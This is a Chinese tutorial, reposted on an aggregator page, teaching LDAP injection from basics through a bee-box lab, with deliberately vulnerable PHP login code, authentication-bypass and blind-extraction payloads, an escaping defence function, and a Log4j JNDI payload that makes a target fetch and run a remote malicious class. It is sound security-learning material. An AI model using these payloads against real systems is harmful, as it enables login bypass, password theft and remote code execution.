从0开始的LDAP注入

这篇具有很好参考价值的文章主要介绍了从0开始的LDAP注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

LDAP注入攻击

0x00 LDAP基础学习

① - 参考

LDAP概念和原理介绍 - WilburXu - 博客园 (cnblogs.com)

LDAP注入入门学习指南 - 云+社区 - 腾讯云 (tencent.com)

LDAP注入与防御剖析 - r00tgrok (wooyun.js.org)

LDAP概念和原理 (qq.com)

② - 介绍

目录:目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现,是运行于TCP/IP之上的协议,端口号为:389, 加密636(SSL),这就意味着它为CS架构能够分布式部署

目录树概念

  1. 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。

  2. 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。

  3. 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。

  4. 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性


DN:唯一标识一条记录的位置,类似于主键

DC:域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example, dc=com

OU:组织单位,组织单位可以包含其他各种对象,如一条记录(包括其他组织单元)

CN:公共名称,即一条记录的名称

Entry:条目记录数

从0开始的LDAP注入

如:baby条目的DN就为 —— cn=baby,ou=marketing,ou=pe=ple,dc=mydomain,dc=org

③ - LDAP查询语法

常见操作符

  1. =:等于

    (cn=steve):查询名为steve的人

  2. *:通配符

    (cn=s*):查询名字以s开头的人

  3. &:逻辑与

    (&(cn=s*)(sn=*d)):查询名字以s开头且以d结尾的人

  4. |:逻辑或

    (|(cn=s*)(cn=t*)):查询名字以s或t开头的人

  5. !:逻辑非

    (!cn=John):查询名字不为John的人

LDAP过滤器

LDAP 在对目录内容进行搜索的时候,需要过滤器来进行配置,其定义于RFC4515中,这些过滤器的结构可概括如下

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。通配符*可用来替换过滤器中的一个或多个字符。

除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:(&)代表TRUE,(|)代表FALSE

  • AND过滤器:(&(parameter1=value1)(parameter2=value2))
  • OR过滤器:(|(parameter1=value1)(parameter2=value2))

注意事项(&(attribute=value)(injected_filter)) (second_filter)

在OpenLDAP中,第二个过滤器会被忽略,只有第一个会被执行,那么类似上面的这种注入就可以成功的(但是本地执行失败了,不知道为啥,本地执行失败了,但是可以直接构造闭合)

而在ADAM中,有两个过滤器的查询是不被允许的,那么这种注入是没什么用的

④ - 配置

phpstudy开启设置

docker配置LDAP环境

参考:Docker搭建OpenLDAP+phpLDAPadmin统一用户认证的方法_docker_脚本之家 (jb51.net)

docker pull osixia/openldap

docker pull osixia/phpldapadmin

docker run \
  -d \
  -p 389:389 \
  -p 636:636 \
  -v /usr/local/ldap:/usr/local/ldap \
  --name ldap \
  osixia/openldap
  
# 默认配置
# dn     dc=example,dc=org
# admin    admin,dc=org,dc=example
# password  admin

docker run -dit \
 -p 18080:80 \
--link ldap \
--name suiyue_pla \
--env PHPLDAPADMIN_HTTPS=false \
--env PHPLDAPADMIN_LDAP_HOSTS=ldap \
--restart always \
--detach osixia/phpldapadmin

# 查询账户的账号密码: 默认为[cn=admin,dc=example,dc=org]:[admin]
docker exec ldap ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w "admin"

从0开始的LDAP注入

0x01 PHP处理LDAP

参考:php操作ldap-老鄢博客 (yuanchengzhushou.cn)

查询示例

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 查询并输出数据
$base_dn = "ou=group,ou=bwapp,dc=example,dc=org";	# 相当于指定查询的根节点
$filter_col = "mail";
$filter_val = "*@qq.com";
# ldap_search函数的第三个参数为查询条件,相当于WHERE子句,具体规则详见0x00章节的查询语法
$result = ldap_search($ldap_conn, $base_dn, "($filter_col=$filter_val)");  # 指定dn下的所有数据都会被递归查询
$entry = ldap_get_entries($ldap_conn, $result);
foreach ($entry as $value) {
    var_dump($value);
}
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

添加记录

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 添加一条记录
$base_dn = "ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
$entry['sn'] = 'Gwen';
$entry['cn'] = 'Gwen';
$entry['uid'] = 'Gwen';
$entry['givenName'] = 'Gwen';
$entry['uidNumber'] = 13700;
$entry['gidNumber'] = 0;
$entry['homeDirectory'] = '/home/jk/gwen';
$entry['loginshell'] = '/bin/bash';
ldap_add($ldap_conn, $base_dn, (array)$entry) or die("Can't add new entry!");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

#TODO 不知道为啥报错,先暂时放下,毕竟和这章所学的内容暂时扯不上关系

从0开始的LDAP注入

添加属性值:ldap_mod_add()

修改记录

从0开始的LDAP注入

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 修改一条记录
$base_dn = "uid=Taka,ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
$entry = array("mail" => "Taka123@qq.com");
ldap_modify($ldap_conn, $base_dn, $entry) or die("Can't modify entry");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

从0开始的LDAP注入

删除记录

<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);      # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 删除一条记录
$base_dn = "uid=Taka,ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
ldap_delete($ldap_conn, $base_dn) or die("Can't delete entry.");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");

从0开始的LDAP注入

0x02 LDAP注入

LDAP注入以AND来讲解,OR的话也是用一样的方法,这里就不分开讲解了

① - 常规注入

$uid = $_GET['uid'];
$pwd = $_GET['pwd'];
$filter = "(&(uid=$uid)(userPassword=$pwd))";
echo "<h3>Filter: $filter</h3><hr>";
$result = ldap_search($ldap_conn, $base_dn, $filter);
$entry = ldap_get_entries($ldap_conn, $result);
if ($entry['count'] === 0 && empty($entry)) {
    echo "<b>登录失败</b>";
} else {
    echo "<b>登录成功,获取数据如下 ———</b><br>";
    var_dump($entry[0]);
}

登录成功

从0开始的LDAP注入

登录失败

从0开始的LDAP注入

通过LDAP注入绕过访问控制

利用通配符绕过

payload:?uid=Vox&pwd=*

从0开始的LDAP注入

原理:利用通配符绕过


构造闭合绕过

payload:?uid=Vox)(|(%26&pwd=0)

注意:GET传参时,&需要进行编码

从0开始的LDAP注入

② - 盲注

原理:可以根据页面回显判断注入是否成功,则可以利用这个特性去判断其它未输出的属性值

$uid = $_GET['uid'];
$pwd = $_GET['pwd'];
$filter = "(&(uid=$uid)(userPassword=$pwd))";
echo "<h3>Filter: $filter</h3><hr>";
$result = ldap_search($ldap_conn, $base_dn, $filter);
$entry = ldap_get_entries($ldap_conn, $result);
if ($entry['count'] === 0 || empty($entry)) {
    echo "<b>登录失败</b>";
} else {
    echo "<b>登录成功,你的邮箱为: {$entry[0]['mail'][0]}</b>";
}

登录成功

从0开始的LDAP注入

盲注测试

  1. 首先测试字段值存在

  2. 然后逐字符猜解字段值

  3. 最后讲通配符去除判断是否到达字段结束处

    最终去掉通配符,发现登录成功即可确认当前数据为字段所有信息

盲注技巧:字符串消减技术,可以缩小盲注的字典,从而减少请求数量

从0开始的LDAP注入从0开始的LDAP注入

0x03 Bee-Box 靶场练手

靶场路径:靶场安装路径/app/ldap_connect.php

从0开始的LDAP注入

① - 选择LDAP环境

配置教程:bee-box LDAP注入学习之环境配置 - FreeBuf网络安全行业门户

从0开始的LDAP注入

如果没有数据可以自己先去创建一些,至少需要两个OU —— admin(管理员用户)和bwapp(普通用户)

从0开始的LDAP注入如下是登录成功的页面

从0开始的LDAP注入

② - 源码分析

源码与连接LDAP的脚本文件不一致,存在于:ldapi.php文件中

<!-- 截取了其中的关键代码进行展示 -->

<?php
$ds = ldap_connect($server);
$dn = $_SESSION["ldap"]["dn"];

// Sets the fields for $filter
$search_for = $_REQUEST["user"];				// The string to find
$search_for = ldapi($search_for);
$search_field_1 = "givenname";					// The LDAP field to search for the string
$search_field_2 = "sn";							// The LDAP field to search for the string
$search_field_3 = "userprincipalname";			// The LDAP field to search for the string

// 提供的可以更换的搜索语句还是挺多的
# Searches all the 'Common Names'
$filter = "CN=*";						
# Wildcard is *. Remove it if you want an exact match
$filter = "($search_field=$search_for*)";
# Exact match
$filter = "($search_field=$search_for)";
# Searches all the users
$filter = "(objectClass=user)";
# Searches a specific user
$filter = "(&($search_field=$search_for)(objectClass=user))";
# Searches a specific user
$filter = "(&($search_field=$search_for)(objectClass=user)(objectCategory=person))";
# Injection!!!  
$filter = "(|($search_field=$search_for))";
# Injection!!!
$filter = "(|($search_field_1=$search_for)($search_field_2=$search_for)($search_field_3=$search_for))";

$ldap_fields_to_find = array("objectsid", "samaccountname", "userprincipalname", "cn", "displayname");

$sr = ldap_search($ds, $dn, $filter, $ldap_fields_to_find);、
$info = ldap_get_entries($ds, $sr);

for($x=0; $x<$info["count"]; $x++)
{        
    $objectsid = bin_sid_to_text($info[$x]["objectsid"][0]);
    $samaccountname = $info[$x]["samaccountname"][0];
    $userprincipalname = $info[$x]["userprincipalname"][0];
    $cn = $info[$x]["cn"][0];            
    $givenname = $info[$x]["displayname"][0];
?>
    <tr height="40">
        <td align="center"><?php echo $objectsid?></td>
        <td><?php echo $samaccountname?></td>
        <td><?php echo $userprincipalname?></td>
        <td><?php echo $cn?></td>
        <td><?php echo $givenname?></td>
    </tr>
<?php
}
    ldap_close($ds);
}

③ - 尝试注入

这道题没有官方的数据还不怎么好做,实际上这个完全没有防护,所以还是很简单的,我们用

$filter = "(|($search_field_1=$search_for)($search_field_2=$search_for)($search_field_3=$search_for))";

浅做一下,匹配的条件就按照givenname来好了,这个好设置

正常操作

从0开始的LDAP注入

使用通配符

从0开始的LDAP注入

利用盲注查询其它的字段

为了方便演示,我们加上一行代码

从0开始的LDAP注入

第一步:找到能够测试盲注的点

从0开始的LDAP注入

从0开始的LDAP注入

第二步:确认需要查询的字段存在

从0开始的LDAP注入

userPassword字段存在

第三步:开始获取数据

从0开始的LDAP注入

从0开始的LDAP注入

从0开始的LDAP注入

成功测试出Vox的userPassword字段

0x04 防御

LDAP注入防御的话,没有像SQL注入那样特别好的防御方式,一般都是在查询前使用黑名单匹配去过滤 —— 圆括号、星号、逻辑运算符、关系运算符

从0开始的LDAP注入

上⾯这些字符的处理在RFC2254中都能找到,具体实现可参考如下⼀段PHP代码:

function ldapspecialchars($string) {
    $sanitized=array('\\' => '\5c',
                     '*' => '\2a',
                     '(' => '\28',
                     ')' => '\29',
                     "\x00" => '\00');
    return str_replace(array_keys($sanitized),array_values($sanitized),$string);
}

对LDAP服务而言防御注⼊并不像SQL注⼊那么复杂,只要把守好数据的出入口就能有效的防御攻击

0x05 扩展

Java安全这一块,暂时没有学的打算,现放点资料放这里,等需要用到了可以参考参考

JNDI与LDAP

(15条消息) JNDI和LDAP:由 Log4j 注入漏洞引出的概念_Java Punk的博客-CSDN博客

简单来说,JNDI则是Java中用于访问LDAP的API,开发人员使用JNDI完成与LDAP服务器之间的通信,即用JNDI来访问LDAP,从而定位用户、网络、机器、对象和服务等各种资源。

JDNI注入

JNDI 注入漏洞的前世今生 - evilpan

Log4J2漏洞

vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

介绍

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。

原理:日志在打印遇到${后,插值器以:号作为分割,将表达式内容分割为两个部分,前者作为prefix,后者作为key。然后通过prefix去寻找对应的lookup类,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行

payload${jndi:ldap://xxx.xxx.xxx.xxx/exp},即通过jndi注入,借助ldap服务(轻量目录访问协议)来下载执行恶意payload,流程如下:

  1. 像目标发送指定的payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,就将请求重定向到恶意java class的地址
  2. 目标服务器收到重定向请求后,下载恶意class并执行其中的代码,从而执行系统命令

环境

Apache Log4j 2.x <= 2.14.1

随便举几个使用了Log4j组件的例子:Apache Struts2,Apache Solr

复现

  1. 利用方式一:通过JNDI注入器进行注入

    Releases · welk1n/JNDI-Injection-Exploit (github.com)

  2. 利用方式二:自己编写

  3. 利用方式三:利用dnslog检测漏洞

    payload:${jndi:ldap://${sys:java.version}.example.com}文章来源地址https://www.toymoban.com/news/detail-469092.html

到了这里,关于从0开始的LDAP注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【React 入门实战篇】从零开始搭建与理解React应用-三、React核心概念与基础语法

    三、React核心概念与基础语法 3.1 JSX语法详解 JSX是React中的一个语法糖,它允许开发者在JavaScript代码中编写类似HTML的标记。这种语法使得开发者能够以一种声明式的方式描述界面,提高了代码的可读性和可维护性。 JSX的语法规则: 元素创建 :使用尖括号 来创建元素,就像在

    2024年04月08日
    浏览(46)
  • 什么是SQL注入攻击,解释如何防范SQL注入攻击?

    SQL注入攻击是一种常见的网络攻击方式,攻击者通过在Web应用程序的查询语句中插入恶意代码,从而获取数据库中的敏感信息或者执行其他恶意操作。 为了防范SQL注入攻击,可以采取以下措施: 使用参数化查询:使用参数化查询可以避免攻击者通过查询语句中的参数注入恶

    2024年02月10日
    浏览(47)
  • 理解什么是sql注入攻击 + xss攻击 + cors 攻击

    SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串, 最终达到欺骗服务器执行恶意的SQL命令 。 SQL注入攻击的总体思路: 寻找到SQL注入的位置 判断服务器类型和后台数据库类型 针对不同的服务器和数据库特点进行SQL注入攻击 SQL注入攻击实例: 比如

    2023年04月18日
    浏览(73)
  • SQL注入进阶:掌握联合查询注入和报错注入攻击技巧

    数据来源         本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 介绍         联合查询注入是SQL注入的一种,通过在原有的SQL语句中添加UNION(联合)操作,将恶意构造的

    2024年02月06日
    浏览(53)
  • SQL注入漏洞复现:探索不同类型的注入攻击方法

    这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。  准备环境 sqlilabs靶场 安装:Sqli-labs靶场搭建(适合新手小白围观)_sqlilabs靶场搭建-CSDN博客   注入讲解 介绍         基于错误的注入(Error-based Injection)是一种 利用应用程序返回的错误信息来

    2024年02月11日
    浏览(43)
  • SQL 注入漏洞攻击

    假设你用自己的用户名和密码登录了一个付费网站,网站服务器就会查询一下你是不是 VIP 用户,而用户数据都是放在数据库中的,服务器通常都会向数据库进行查询,要向数据库进行增删改查操作,就需要用到 SQL 语言。 但是,作为 SQL 的注入攻击者,我们并不知道网站的密

    2024年02月09日
    浏览(51)
  • Web安全系列——注入攻击

    文章首发公众号: 海天二路搬砖工 在Web应用程序开发中,防SQL注入最基本的安全防护要求了。其实除了SQL注入, 还有很多其他的注入攻击方式。注入攻击是最常见的Web应用攻击方式之一。 本文将介绍注入攻击的概念、种类、原理,以及如何防护。 注入攻击是指攻击者在应

    2024年02月06日
    浏览(36)
  • 【SQL注入攻击介绍】

    目录 前言 本质和危害  分类 注入一般步骤 注入实战   sql注入一直以来都稳居owasp-top10榜首,近年来更是爆出很多的数据库泄露攻击事件,如最近上海某公安存在数据库泄露事件。今天简单的分析以下sql注入的一些特性和方式:   owasp-top10   一、sql注入的危害包括但不局限

    2024年02月06日
    浏览(44)
  • SQL注入攻击方法

    SQL注入攻击是一种利用Web应用程序中存在的安全漏洞,通过在输入框中插入恶意的SQL代码,从而实现对数据库的非法操作。以下是一些常见的SQL注入攻击方法: 使用单引号(\\\')进行字符串拼接:在输入框中插入带有单引号的字符串,使得原始SQL语句结构发生变化,从而实现

    2024年02月03日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包